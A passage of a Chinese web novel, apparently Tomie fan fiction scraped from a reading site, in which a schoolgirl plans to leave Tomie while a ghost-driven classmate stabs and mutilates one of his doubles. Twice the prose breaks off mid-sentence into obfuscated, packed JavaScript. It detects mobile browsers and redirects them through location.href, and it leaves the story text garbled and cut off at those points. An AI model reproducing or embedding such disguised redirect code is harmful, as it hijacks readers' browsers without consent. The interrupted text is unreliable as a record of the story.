那就是,和川上富江表白并成功这件事并不会为她的翅膀添上任何一根漂亮的羽毛,为她增色,反而会把她拉到一个众矢之的的位置,在那里,人人都将无比渴望地将自己拉下来,人人都将对她怒目而视。 想到这里,白石芽衣裹紧身上的棉被,后知后觉地颤抖起来。 她竟然因为一时的嫉妒和冲动,做出了一个无比错误的决定。 不过,转念一想,现在挽回或许还来得及。 毕竟、她表白的时候并没有人在场,只要富江没有跟其他人说的话,那就这是就只有他们两人才知道的秘密恋情,不如趁现在还没有发展到人尽皆知,继而造成那样不可挽回的局面,干脆找个由头分手算了。 对!找个由头赶紧分手算了! 反正她本来也不是真的喜欢川上富江! * 白石芽衣本来是这样想的,找准机会跟川上富江分手,掀过这一页败笔。 想来以富江那传闻中的个性,绝对不会主动开口说自己被女生分手了,她当然也会守口如瓶,以免引起旁人一点的不满。 届时,他还是受人追捧的川上富江,而她还是那个受大家尊重的风纪委员白石芽衣。 大家井水不犯河水,从此相忘于江湖,才是最好的结局。 只是这个分手的时机需要慎重地考虑一下才好…… 不过,有时候世事就是这么奇妙,天冷了有人送碳,下雨了有人帮忙撑伞,她没有主动找川上富江,反倒是对方先找上了门来。 因为园子的事情,第二天的风纪部和学生会简直是忙翻了天,白石芽衣抱着刚打印好的青少年心理健康传单,艰难地打开了风纪部办公室的门,然后愣住。 只见富江正坐在办公椅上,正漫不经心地翻看着桌面的书籍。 办公室里没有其他人了,她回头看了看走廊,也没有其他人,便赶忙进去,然后反锁上房门。 他怎么忽然到这里来了? 还没等她问出口,少年先发制人,他不满地问:“昨天你为什么不来?” 白石芽衣:“啊?来哪里?” “纸条,我给你的纸条,叫你放学后来找我,为什么不来?” 她瞬间明白过来,估计是昨天富江给她留了纸条,但因为园子的事情,她根本没怎么回教室,估计是错过了。 这样想着,她解释道:“抱歉,我没有看到,昨天因为园子事件我没有……” “就因为她?”富江的口吻变得越发冷漠,还透露着一种堪称是辛辣的不屑与嘲讽,“你居然因为那种无聊的人和事放了我的鸽子?” 他啪地一声合上书本,放回原位,随即站起身来缓步走到女孩面前。 清瘦修长的身影瞬间将白石芽衣拢住,一双过分漂亮的眼睛紧紧地盯着她的脸,不愿错过她脸上任何一点细微的表情。 美丽的少年罕见地极具压迫感,白石芽衣跌坐在身后的沙发上。 不疼,但确实有点慌。 “我看见了,芽衣把自己的外套给了那个废物…没想到那个家伙生前就不要脸,死了更不要脸,竟然敢勾引芽衣……” 他恶狠狠地说着,冷清艳丽的脸因为嫉恨而扭曲,但这竟然完全无损富江本人的美貌,反而让他看起来有种恶之花绽放的堕落美感。 此刻,两人之间的距离靠的非常近,近到彼此的呼吸交缠,一冷一热。 白石芽衣微微抬眸,入目的是少年的喉结,正随着少年的话语而上下划动着,棱角分明,带着冷静的禁欲感和克制感,反而让人想入非非。 她承认自己有这么一瞬间也被蛊惑到了,耳后根微微发烫。 随后她才反应过来少年的话。 白石芽衣皱眉,“死者为大,富江同学,你不该这样说园子同学的……” “呵呵,死者为大?那种无论是生前还是死后都死缠烂打我的家伙有什么值得同情的,芽衣,收起你那泛滥又无聊的同情心吧,我不喜欢你的目光分给那些无聊的东西,你不是说喜欢我吗?那就只看着我就好啦……” 他顿了顿,目光陡然变得深不可测,语气低沉, “还是说,你说喜欢我那都是骗我的…那首诗也是骗我的?” 不知为何,总感觉他的话已有所指的样子。 虽然…那首诗,还有那个表白,确实有点欺骗的成分…… 白石芽衣莫名有点心虚,但转念一想,这不正是她正寻求的大好分手时机吗? 这样想着,她表情一变,变得严肃板正起来,“富江同学,有一件事我想跟你谈一下…其实我觉得我们两个人之间的三观……” 少年的神色也变得阴沉起来。 就在此时,门口响起了敲门声。 “…白石学姐,是你在里面吗?奇怪…门反锁了…刚才学姐好像是说要搬宣传单子回办公室吧……白石学姐?你在吗?” 不能让别人发现她反锁的房间里还有富江的存在! 白石芽衣一个激灵,反手捂住了少年的嘴巴,然后将对方压在沙发下面,低声道:“嘘…等一下…” “是,我在里面,因为衣服有点脏了正在换衣服,有什么事吗?” 她随便找了借口,因为紧张,她眼睛紧紧地盯着门口,虽然门是反锁的,但由于心虚和慌张,她总是会担心门锁会不会失灵,或者下一刻外面的人会不会用钥匙打开房门。 因而她没有注意到,被她压在身下的少年,脸上浮现出怎么样流光潋滟的神色,后者原本那种略带攻击性的锋芒通通收了起来,眼睛瞪得圆润,正一动不动紧紧地看着女孩的脸,乖巧得像一只猫。 就差伸舌头去添对方的手指,发出可爱的声音了…… 少年的目光随机转移到了女孩捂住他嘴巴的手,冰冷艳红的唇肉和她细腻的掌心几乎是严丝合缝在一起,紧紧挨着,触感温暖又湿润。 幸运的是,门外的学妹并没有要开门进来的意思,只是说老师有要紧的事情要找自己,白石芽衣随便应了一声会马上过去,门外的人便很快离开了。 这时,白石芽衣悬着的心放了下来,但意欲直接分手的节奏已经打乱,她只好松开对富江的禁锢,留一句‘放学后我来找你,有重要的事要跟你说’便也匆匆离开了办公室。 办公室内只剩下富江一人。 少年反复摩挲着自己的嘴唇,猩红的舌尖轻轻舔舐着,眼睛流露出若有似无的遗憾之意。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 5、第五章 白石芽衣原以为老师找她是因为园子的事情,但她没想到的是,对方竟然是来告诉她,她又可以重新去参加那个比赛了。 “为什么…?”白石芽衣不明所以。 明明之前还那样语重心长地通知她要她退出,给出一堆冠冕堂皇的理由让富江上,现在又找回她…总不能是良心发现觉得临时换人对团队不好,又或者他们终于发现富江真的是个草包吗? 然而真相远比她想象中要简单—— “啊…因为富江同学说时间上无法配合,不能参加,同时…富江同学对白石你的评价很高呢…真意外呢~”老师那双略显浑浊的眼睛上下打量着白石芽衣,随后话锋一转,问道:“白石你跟富江同学的关系很好吗?很少听见富江同学这么在意一个人呢……” 白石芽衣莫名汗毛竖起,后背微微有些发凉。 有一种如果回答的不好就会发生不好的事情的直觉…… 联想到昨晚那个诡异又恐怖的梦境,白石芽衣艰难地吞咽了一下口水,然后笑着开口:“是啊…毕竟谁不喜欢富江同学呢?富江同学人长得很好,心底也好,我很喜欢富江同学,老师难道不喜欢吗?” 她的一番话说得光明磊落,大大方方,反而不让人觉得可疑。 尤其还是一通无脑夸赞富江的话,让面前的老师非常受用,甚至有种找到了知音的感觉,竟然附和起她的话来,对着她吹了好一通对富江的彩虹屁。 结果就是被迫听了十几分钟老师夸赞川上富江的废话...... 走出办公室的时候,白石芽衣这才长长地吁了一口气。 分手还是要分的。 但是或者可以晚点再分…… 只是刚才离开的时候,富江的表情有点怪异...难道是生气了吗? * 川上富江随意的一举一动都是众人关注的焦点,稍有一点异动都很容易引起轩然大波。所以即便少年脸上的表情和平常那副冷清的样子别无二样,但还是有不少人能够感觉到他此刻的心情应该是挺不错的。 只见妖冶的黑发少年,此刻眉眼低垂,似乎正认真看着书上夹着的信纸,神色说不上来,但锋芒都收敛起来,看上去柔和美好。 崭新的书籍里面夹着的是白石芽衣送给他的那首诗。 纸张仍然保存如新,少年骨节分明、宛若艺术品的指尖轻轻在上面摩挲着,触感细腻。 他无端地回想起刚才在办公室内,嘴唇接触到的女孩柔软的掌心,细腻单薄的皮肤层下是血管,心脏跳动着将血液供给到四肢,掌心下方温热的血液就好像一根根隐藏的绳索,将他的嘴唇和少女的心脏连接在一起。 恍惚之间,他似乎还能感受到对方心脏跳动的频率。 还有气味,他的鼻尖擦过的位置,还能闻见若有似无的香气。 川上富江讨厌一切的人工制成的劣质香水,但他还是可以灵敏地捕捉到并且分辨出女孩身体的气味。 淡雅的、清新的,像是雨后野外的野百合。 最重要的是——在女孩触碰到他那一刻,外界那些惹人讨厌的絮语顷刻之间消失,川上富江感受到了前所未有的宁静,全世界只剩下她的体温、容貌,气息还有心脏的律动。 那是一个全新的世界..... 富江笑了。 和以往那些冷酷的、讥讽的又或者是轻蔑的笑容截然不同,少年此刻的笑容如沐春风,让不少见惯了对方或冷漠,或跋扈样子的人不免陷入了一阵松怔,随后转变成令人粘稠恶心的痴迷视线。 然而沉浸在自己思绪中的富江并没有向往日那样露出厌烦的神色。 他还是盯着那张信纸看。 圆滑中不是锋芒的优雅圆体在他眼前一个个地解构,变成了流畅优美的线条,随后又重新组合,幻化出白石芽衣的模样。 她是如何伏首在书桌前,手里握着钢笔,一边思索一边写下这些诗句。 真有趣....真的太有趣了.... 白石....白石芽衣...芽衣...芽衣芽衣芽衣芽衣芽衣芽衣芽衣.... 偏偏有个没眼力见的家伙破坏了他这份难得的平静和温和,他瞬间又戴上那副冷清的、拒人千里之外的面具,瑰丽的脸上写满了厌烦。 川上富江抬眸看向一直在他面前吱吱喳喳的人,漆黑的瞳孔是深不见底的深沉和冰冷,“说够了吗?” “诶?”正在说话被打断的女孩一愣,似乎完全没有想到富江会用这样的态度如此对待他。 “你很烦你自己没有一点自知之明吗?滚远点,不要再出来污染我的眼睛.....” 富江身上散发着拒人千里之外的冰冷气息。 那人脸色红白交错,既有被当众冷言冷语拒绝的尴尬和恼怒,也有一丝困惑和不解。 明明昨天还不是这样的....为什么仅仅过去一晚上,对方的态度发生了翻天覆地的变化? 昨天她在学校外面碰见了富江,对方不知道遭遇了何种尴尬的情况,浑身上下沾满了鲜血,如果不是对方坚称这不是人类的血,又表明自己完全没有受到伤,只是不小心沾染上了道具血浆,她几乎都要按下手中的报警电话了。 随即富江表示需要一个住的地方,她便带着对方走遍了附近的酒店,最终富江选定了最贵的一家,一星期的房费几乎花光了她一个月的零花钱。 她本来以为这样两个人就是朋友了.....所以今天来到学校才敢壮着胆子邀请富江晚上共进晚餐。 没想到却换来了这样的结果。 越想越觉得委屈和不解,她忍不住问到: “富江同学...你为什么要这样对我?明明昨天晚上你还说,只要我帮你找个一个住的地方,你就愿意成为我的朋友,我可是花光了一个月的零花钱,为你安排了东京市最奢华的酒店......如此说来,我们现在难道不是已经是朋友了吗?” 然而,川上富江可没有这样闲工夫去关心无关紧要的人内心的小九九,他的目光犹如一把利剑,直穿人心隐藏的黑暗面。 因而他讥讽道:“既然如此,那你就去找那个在酒店的富江就是了...还是你觉得,自己付了钱买到了这份所谓的‘友谊’,就有权对别人指指点点了吗?你真是可笑至极。” 女孩的脸瞬间煞白,因为小心思被当中戳中而尴尬,全然没有注意到富江口中强调的‘酒店的富江’,就好像他故意划分的楚河汉界一样。 就好像说的他和那个在酒店里的富江是完全不一样的存在。 周围的同学开始窃窃私语,落在女孩身上的目光可算不上良善,她羞愤交加,可一句话都没有办法反驳。 最后是上课铃声响起才终止了这个让人难堪的小插曲。 * 这一节课是文学课,不过对于川上富江来说,上什么课对于他来说都是无关紧要的,反正他也不会去听,来学校也只不过是打发时间找趣味的活计而已。 想来就来,想走就走。 这就是富江,随心所欲。 偏偏—— “....十四行诗的韵脚非常具有特色,排列也非常严谨,其韵脚的排列方式一般为abbaabbacdecde,而提到十四行诗我们不得不提到一位文艺复兴时期的作者莎士比亚,他所创造的十四行诗称得上是这个时期最优秀的作品,比方说我们今天要讲到的这首——我能否将你比作夏天.....” “啪——” 所有人包括正在讲课的老师都被突如其来的动静吓了一跳,纷纷看向声音的来源—— 富江冷着脸,目光凛冽地用力合上了课本,他的表情犹如鬼魅,十分骇人。 “富、富江同学,是老师哪里讲的不好吗?”讲课老师小心翼翼、带着微不可察的讨好问道。 “...继续讲。” 他几乎是咬牙切齿地回答道,然而脸上的表情仍旧非常阴森。 莎士比亚的十四行诗? 好,很好。 白石芽衣真的太好了...... 巧克力是劣质的机器造的,情书也是抄来的...她究竟还有什么是自己意想不到的? 搞不好,就连喜欢也不过是嘴上说说... 一想到这里,他的表情就变得越发地可怕,宛若是地狱爬出来的艳鬼,美艳无双,但是浑身上下都是剧毒,稍微一碰就会让人死无葬身之地。 讲台上的老师哪里能猜透富江的心思,他只知道自己每讲一点,底下坐着的富江脸色就越差一点,脸色几乎都快滴出墨汁来,让他一度有点讲不下去。 但每每这个时候,富江那冷冰刺骨的目光就会看向他,仿佛在警告他,如果不继续讲完的话将会有非常糟糕的下场...... 一节课下来,他如芒刺背,磕磕碰碰,最后下课铃声一响起,他便狼狈地离开了教室。 没有人知道富江的想法。 * 下一节是体育课,富江压根没去,他本能地不喜欢任何一切户外运动,体育老师问起,多得是同学主动愿意为他打掩护,当然,老师也不会真的较劲富江缺席体育课的理由就是了。 他从外面走回教室,就看见自己桌上的课本夹了一张卡片。 想来应该是那些无聊的人又在给他塞情书,一般来说,他看都不会看,直接扔掉。 但这一次他没有。 因为他看见了信封熟悉的字迹——“totomie“ 富江嘴唇轻抿,五官也崩得很紧,眼睛里仿佛是最纯粹的黑,连一丝光亮都透不进去。他似乎在思索要不要看,还是像过往的惯例一样,直接扔掉。 片刻的犹豫之后,他拿起了信封,缓缓拆开。 信纸上女孩的字迹一如既往地飘逸优雅,上面写道—— ”诗其实是抄来的,巧克力也是买的现成的,但我对你的心意是真的。 如果你不介意的话,今晚可以邀请你共进晚餐吗?“ 落款白石芽衣。 “.......” 读完后,富江将卡片随手扔在了桌面上,深不见底的黑眸望向窗外,阳光终于照进了他的眼底,片刻后,他又抿着唇拿起那张卡片,反复阅读,似乎要在上面寻找女孩谎言的痕迹。 但这几行字,没有修饰,没有花言巧语,她甚至承认一切都是假的。 但她说唯有心意是真的...... 也就是...她说喜欢他是真的。 片刻后,他抚上自己的泪痣。 事已至此,就让他来赴约看看白石芽衣还想耍什么花招...... 他是这么对自己说的。 只是抚摸泪痣的手正好遮挡住了他微微上扬的嘴角。 微不可见,就连他自己没能察觉。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 6. 第六章 刚一放学,川上富江早早就在校门口处等着。 可他没有等来白石芽衣,反而是等来了白石家的司机。 司机是个古板又严肃的中年男子,一身板正的黑色西装,只是在见到独自站在校门前的富江时,那双死气沉沉的眸子闪过惊艳。 但也仅仅是一瞬,职业素养良好的司机收敛起异样的眼神,不卑不亢地低头鞠躬,表明来意:“川上少爷,我是负责芽衣小姐出行的司机,小姐让我过来接你去餐厅.....” 司机服务于白石家已有二十年,早就学会了察言观色,话还没有说完就敏锐地察觉到了对方的不虞,话锋一转:“小姐说她要先去餐厅亲自安排好一切.....” 富江只是不冷不淡地‘哦’了一声。 “你怎么知道我是你要接的人?”临上车前,他忽然停住,心血来潮地问道。 “因为小姐说,只要在门口见到长得最好看的人,那就是要接的人。” 司机顿了顿,补充道, “...川上少爷,您出现在人群中的瞬间,我就知道您就是我要接的人,因为只要一见到少爷您,其他的人都将黯然失色。” 他自动忽略了后半句恭维的话,但前半句着实让他心情不错。 哦,她觉得他是最好看的人.... 于是乎,少年紧绷的表情有所缓和,川上富江甚至嘴角上扬几分,让一直用余光偷偷关注对方一举一动的司机也不由地呆滞了片刻。 然而下一瞬间,一阵诡异的无名风吹来。 司机赫然瞥见车窗映出来的川上富江的身影闪烁了一下,正当他惊诧之余,镜中反射的影子忽然变得扭曲、恐怖,少年的表情和眼神都在一瞬间冷了下来,看向了某个方向,沉声道: “...不准...死的很难看.....” 司机光顾着顺着少年的目光看过去,发现那里什么东西都没有,因而也就没听清楚他的话。 “富江少爷,有什么问题吗?”他看过去,关心道。 称呼已经从最开始的川上少爷转变成了富江少爷。 俨然富江才是他的雇主似的。 哪知道少年的脸色立马恢复如常,仿佛他在车窗上看见的一切异状都只是幻觉。 少年眼睛余光都没有给司机一个,径直上了车。 “快点开车。“他不耐烦地催促道。 司机这才如梦初醒,慌慌张张地走到驾驶座。 车窗缓缓摇上来的瞬间,黑色的不透明单向玻璃上映出几张惨白恐怖的脸,她们有男有女,此刻正伫立在校门口,他们眼巴巴地看着发动远去的黑色轿车,仿佛透过那些黑色的玻璃还是可以清楚地看见车里面的黑发少年。 他们是死于学校的缚地灵,永远无法离开这个坟墓一步。 而站在最中间的女生,赫然就是跳楼自杀的园子。 少年所乘坐的车子消失在街角处后,那张清秀的脸又变成了死后的模样,血液已经凝固,皮肤腐烂,??恐怖的青色,宛若青面獠牙的罗刹,充满了诡异恐怖的气息。 富江...不要离开...富江.... ...一直注视...我会一直...直到永远... 为什么要...离开? * 车子很快就到达了目的地。 约会的地方是市区内一所高档餐厅,坐落在市区中心最高一栋建筑物之一的顶楼,可以三百六十度环绕的全景落地玻璃窗,可以尽收整个城市的夜景。 富江对于这个地点的选择相当满意,少年喜欢一切奢华的享受。 最重要的是,这是白石芽衣提前精心安排的约会场所。 是的,毫无疑问这是一场约会。 他对此定义道。 所以连带着进门时那些让他感到恶心的,黏糊的视线他都觉得尚且可以忍受,甚至有种微妙的,在众人注视下和白石芽衣约会的隐秘的满足感。 然而当他施施然踏进餐厅的时候,却见—— 靠窗的双人位置上,白石芽衣背对着他的方向坐着,而她的对面已然坐着一个‘川上富江’,两人正相谈甚欢。 黑发少年的脸色瞬间变得阴沉起来。 两个富江之间似乎有莫名的感应,在黑发少年死死盯着他们的同时,那个座上的富江也顺理成章地捕捉到他的视线,顺着看了过来,随后露出了个疑惑又得意的表情。 也许是前者的目光太过具有侵略性,难以忽略,就连背对他的白石芽衣似乎也感觉到了什么,转身过来看。 少年眼明手快躲了起来。 这样一来,坐在女孩对面的富江就笑的更开心了。 * “那边是有什么东西吗?” 白石芽衣看向身后,可那里除了站在边上等待着服务客人的服务生之外,再没有其他的人,于是她便收回目光,看向面前的富江。 说起来也是奇怪,明明她已经比富江早一步来到这里,但在楼下的时候,还是一眼就看见了坐在酒店大堂的富江。 她不疑有他,只以为对方在收到邀请信之后就自行过来,正好和她派过去的司机错开,也非常合理,便上前搭话,两人一起上去。 “...看到了一个脏眼睛的恶心玩意而已。”富江速答道。 显然,比起躲在暗处鬼鬼祟祟不敢见人的那位,他比较不会掩藏自己的情绪,或者说面前这位富江压根没有要掩藏自己情绪的意思。 一双漂亮的桃花眼里装的全是狭隘的恶意还有抑制不住的得意,说的话也是非常恶劣。 不仅对餐厅的服务生的外表和服务态度、餐厅环境,还有客人素质等等等进行了全方面、无差别的攻击批判,毫不夸张,就连路过的无辜的狗都要被他骂上一句‘该死的畜生一股子禽兽味’...... 看白石芽衣是一阵目瞪口呆。 原来富江的攻击力是这么强的吗? 好可怕..... “...什么垃圾高级餐厅,我讨厌那些人看我的目光,恶心肮脏的就像是下水道的老鼠一样,隔老远都能闻见那股子腐烂的气味,啊...我快要呼吸不过来了,讷,你没有钱开包间吗?非要让我坐在这里忍受着这一切吗?” 白石芽衣:“......” 好想打他一拳啊这么没礼貌你你你你地叫着.... 不过、不是她不想开包厢,而是这个餐厅本来就没有包厢,主打就是一个三百六十度看城市夜景,再说,这个会员制餐厅,能上来的人本就不多...她环顾了一下四周,整个餐厅的客人算上她和富江,也不过一根手指头能够数过来。 不过,她正思索如何接话的石斛,少年却像是忽然大发慈悲似地说道:“算了,看在你的面子上,就勉为其难吃这顿饭吧.....” 白石芽衣语噎,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111095|164050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半晌才吐出一句:“...那真是谢谢你了。” 黑发少年从喉咙里吐出一声含糊的嗯声,然后侧目看向窗外的城市夜景,五光十色的霓虹灯将他漆黑的眼眸染上流光溢彩的光芒。 可白石芽衣觉得那些光光似乎都没有真正到达他空空如也只有黑色的眼底,就好像此刻他明明坐在她面前,但是又觉得两人之间的距离很远。 最重要的,有那么一瞬间,她觉得面前的黑发少年好像很陌生,也很孤独。 可她转念一想,能不孤独吗? 讲话这么难听,他一定没有任何朋友吧..... 忽然,她想起了自己的主线任务,要哄好少年。为了避免节外生枝,再生变故,她决心在比赛来临之前都要好好地稳住少年,以防他一时生气又跑去找老师换人。 总之,等比赛一结束,她再随便找个理由跟对方分手,结束这段孽缘..... 她必须要获得那个参加比赛的机会! 这样想着,她从随身携带的包里掏出一个包装精美的巧克力,没有生产日期也没有商标,只有一句‘To Tomie’..... 她将巧克力放在桌面上,然后推到少年面前,“...这次的巧克力是我亲手做的,可能没有外面买的好吃...而且我不知道你喜欢吃甜还是吃苦,所以这个巧克力有一半是甜的,有一半是苦的.....” 就是因为要找地方做这份巧克力,所以才没有等上富江提前离开了..... 面前的少年用略带挑剔的目光打量着这个三无产品的巧克力,拒绝挖苦的话几乎都在喉咙马上要脱口而出了,可一听说这是女孩亲手做的,莫名的本能驱使还是让他生生咽下去那些话。 以至于他的表情有一瞬间变得扭曲,被面前的白石芽衣精准捕捉到,还以为是对这份手工巧克力不满意,正准备开口打圆场的时候。 富江却一把拿起了那份巧克力,语气冷冷地说:“甜的。我喜欢甜的,以后要记住。” 哦,原来是喜欢吃甜食啊.... 无用的知识又记住了一点,不过以后应该也不会用上了,毕竟她也不会再有机会做给富江吃了。 她在心里暗暗想到,但表面还是从善如流地开口:“嗯,下次会注意的。” 少年这才勾起一个满意的笑容。 片刻后,他说要去洗手间洗一下手,便离开了座位。 等他离开后,白石芽衣这才松了一口气,看上去他并没有再追究在办公室的事情以及那首抄来的诗歌了...... 不过就是这短暂思索的功夫,富江又立马出现坐在了她对面的位置上。 白石芽衣:? 她愣了片刻,不明白半分钟前说去洗手间洗手的少年为什么这么快就回来了,但对方神色自若的样子又迅速打消了她的疑惑。 同时,白石芽衣注意到了他空空如也的双手。 “诶?巧克力这么快就全部吃完了吗?好吃吗?说起来...这还是我第一次亲手做的巧克力....诶?富江同学,你要去哪里?” 还没等她说完,黑发少年就阴沉着脸从座位上起身,朝着卫生间的方向快步走去,只留下一句:“芽衣乖乖在位置上等我。” 白石芽衣:“......哦” 他怎么一副要去厕所捉奸怒气冲冲的样子...大概只是她的错觉吧。 她如此想到。 7. 第七章 时间回到更早些之前。 女孩被富江在班上当众奚落之后,实在是无法忍受其他人对她指指点点加以责备的目光,上完那一节课后便匆匆离开了那个令她感到窒息的教室。 女孩名为浅岛,在班上一直都是个透明人。 倒不是说她身家真的普通,只是在这个名流富商的继承人聚集的高中里面,浅岛家还够不上靠前的梯次,加上她并非浅岛家未来的继承人,上面还有一个哥哥,两个姐姐。 纵然在家中作为最小的那个比较受宠,但是放在这所学校里来看,也不过是个平平无奇的有钱人子女,况且她性格腼腆害羞,不是主动对外社交,种种原因之下,才造成了她透明人的处境。 富江的一通操作倒是让她透明人的身份彻底没了,但这绝非是一件好事,相反,这会将她推到一个众矢之的的位置。 她找了个无人的地方默默消化了一下情绪,跟班主任随便找了个理由请假回家休息,她都已经想好了,请一到两周的假躲过这段时间,等回来之后大家也将这个小插曲忘的差不多了,这样对她的影响应该是最小的。 只是没想到,富江那些疯狂的粉丝行动的那么快。 当她打开鞋柜的瞬间,各种散发着酸臭气味的垃圾从里面倾泻而出,甚至中间还夹杂着死蟑螂死老鼠的尸体。 而鞋柜门的背后用红笔写着—— ‘离富江远点!你这个贱人!’ 一辈子养尊处优惯的浅岛哪里见过这种场面,当下吓得脸色苍白,原本已经平静的情绪又一下子爆发,眼泪直流。 为什么...要这样对她? 明明她只是出于好心...她只是想靠近一点、再靠近一点..... 一直强忍着在眼眶内打转的泪水终于落下,女孩哭泣的声音淹没在教学楼里传出的朗读声中。 【只要富江还活着...你永远也无法真的得到他...永远!太多人注视他的,他不会关注到你的...】 【...把他带回来学校,在这里,就在这里杀掉他...让他的灵魂...永远...永远困在这里...和我们一起...永远一起...只有这样...他才能只属于...属于‘我们’的川上富江....】 蛊惑人心的声音在她耳边悄然响起,她先是冷不丁地被吓一跳,四处去寻找声音的来源,但是目之所及都没有其他人。 这里只有她一个人。 【去吧,去杀掉他吧!快去吧!把他带回来....灵魂带回来...】 【这样才能...永远在一起!】 她恐惧地捂住双耳,不去听那些来自地狱的絮语。 那些声音仿佛就像是流动的空气一样,无论她如何捂住自己的耳朵,还是会从手指的缝隙中悄然进入她的耳朵,最后到达她的大脑,蛊惑着她的每一根神经。 最后脑子里只剩下一句—— “去杀掉富江” 是了,只要杀掉对方,一切都会迎刃而解的。 谁会在意一个死人呢? 大家的忘性都很大...只要富江死了,她的生活就会恢复平静... 对。要杀掉富江! * 浅岛当然知道富江会在哪里出现。 瑰丽的少年坐在奢华的酒店大厅里面,优雅庄重得就好像一副宫廷油画,与其说是是那些价值不菲的家具摆设点缀了他,倒不如说是富江本人的存在,才让这些东西拥有了非凡的意味,构成这一幕绝美的画面。 然而这个画面被忽然出现的黑发少女给破坏了。 白石芽衣是学校里的名人,众星捧月的白石家小姐,品学兼优,所以浅岛几乎是立马就认出了对方。 两人一起坐上了去往顶楼的电梯。 看到这一幕,浅岛那残存本来就不多的理智更是被妒忌和怨恨燃烧得一点都不剩... 凭什么? 就因为白石芽衣的家世更好,所以就毫不犹豫地放弃了自己,转而去亲近那个女人了吗? 最可笑的是,她明明就知道富江就是这样爱慕虚荣的人,但她还是会向飞蛾一样扑过去。 不过都没关系了...只要杀掉对方,她的生活就会彻底恢复正轨...最重要的是,她可以永远独占富江的尸体... 对。她会把少年的尸体保存起来,藏在一个没有人知道的地方。 她有钱,可以请最好的防腐专家,尸体可以放置百年甚至千年,她还会在少年的周围摆上昂贵的装饰,将少年永远冻结在最美的一刻..... 浅岛鬼迷心窍一般跟了上去。 她在这个东京最好的酒店订了整整一个月的房,酒店送了她进入餐厅的资格。 所以她找准机会跟上了落单的少年,成功在男厕所堵住了对方。 “啊,是你这家伙啊...我就说总有一股恶心的视线,原来是你...呵呵,你藏在后面的手里...拿的是刀吧?怎么了,你想杀了我吗?” 被少年戳中的浅岛脸上一阵慌张和胆怯。 直到真的要动手的这一刻,她退缩了。 毕竟浅岛连只蟑螂都没杀过,何来的勇气和胆量去杀一个人。 一个活生生的人。 ‘哐当’一声,闪烁着寒冷的水果刀应声落在大理石地砖上。 见状,少年眼底的嘲讽更甚,“我还以为你已经做好准备了呢...没想到也是中看不中用的废物,既然不敢动手,就快点滚出我的视线....” 然而少年的话音尚未完全落下,面前浅岛却再次拿起了水果刀,狠狠地朝没有防备的少年心口刺去。 呲呼一声,血液飞溅,染红了浅岛的双眼。 她瞪大眼睛,不敢置信,声音也颤抖起来,“不是我...富江,不是我...我不知道为什么...手,没办法控制了...救救我...救救我!” 然后和这副唯唯诺诺模样截然相反的是,女孩握着刀的手干脆利落,拔出来,连带着血肉,然后又朝另一个位置狠狠扎去。 毫不留情,一刀又一刀。 浅岛几乎要晕厥过去了。 她不明白自己的手为什么不受控制,也难以承受杀人给她带来的精神压力。 可面前被捅刀的少年看到的却是——好几双血淋淋的手控制住了浅岛的手,普通人无法窥见听见的鬼魂们,正呢喃着疯狂的呓语。 【...赝品!必须要消灭!富江....你是假的富江....】 【富江....杀光赝品,这样他就会再来看我...用那双眼睛...注视我...富江...我们的富江!】 【他说过的...只要杀光所有赝品...就会回到我们身边...】 所有这些,浅岛都看不见,也听不见。 她的面前只剩下一片刺目的血红,罪恶的血肉之花中开出少年因为疼痛而扭曲的脸容,即便如此也无损他的美貌,反而有种强烈的冲突之美。 “对不起...富江...我不是故意...请原谅我...我也不知道为什么会这样....”她绝望又崩溃地说道。 然后将那张美丽的脸一刀一刀划烂。 这才终于激怒了瑰丽的少年,他不喜欢疼痛,但比起身体上的疼痛,他更无法接受自己的脸被毁容,当即破口大骂: “你这个贱人...原谅你?开什么玩笑?承认吧,你会这样做,只是因为你内心深处想这样做.....我最讨厌你这种虚伪的人...” 富江的话让浅岛眼底仅剩的光芒也逐渐熄灭,最后彻底成了鬼魂们的傀儡。 到最后,富江的喉咙被彻底划烂,连一句话都说不出来,躺在地上一动也不动。她便将富江拖进了最后一格隔间,然后在外面放了检修的牌子阻止其他人的进入。 她要去找个箱子把富江尸体装走..... 然而她的计划百密一疏,没想到让一直守在暗处的另一位富江得了好处。 * 黑发少年来到卫生间时,门口正放着一个‘下水道破裂,检修中’中的牌子。 这个伪装可谓是高明,几乎没有人怀疑。 大家都默契地不进去,生怕在里面看见什么恶心的场面,甚至是捏着鼻子绕开此处。 然而他的嗅觉很是灵敏,几乎是立马就从浓烈的香薰气味中嗅到了若有似无的血腥味,这个认知让他的眉毛微微上扬。 下一刻,少年推门而入,入目的是地板上一片血迹,一直蔓延至厕所的最后一格。 而最里面,传来了夹杂着痛苦和咒骂的呻吟声,颇有种靡靡之音的感觉,引诱着人向前探索。 血是从那个隔间里面顺着地板的缝隙缓缓流出来的。 黑发少年嫌恶地绕开血迹缓缓走了过去。 一具血肉模糊的‘尸体’就靠在厕所的隔间里面,和他的身形几乎是如出一辙,致命伤看上去是插在心脏处的一把刀,但凶手似乎还嫌不够,上半身到处都是胡乱捅出的刀伤,还有泄愤似地,将少年的脸划烂。 几道纵横整张脸的伤口触目惊心。 若是去掉那些丑陋恐怖的痕迹,两人的脸竟然一模一样! 听见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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出于保险起见,以免这个宝贵的礼物再次被人夺走,黑发少年盯着巧克力看了一会,最终做了一个决定。 将巧克力全吃进肚子里。 只有成为他身体的一部分,才是最保险的。 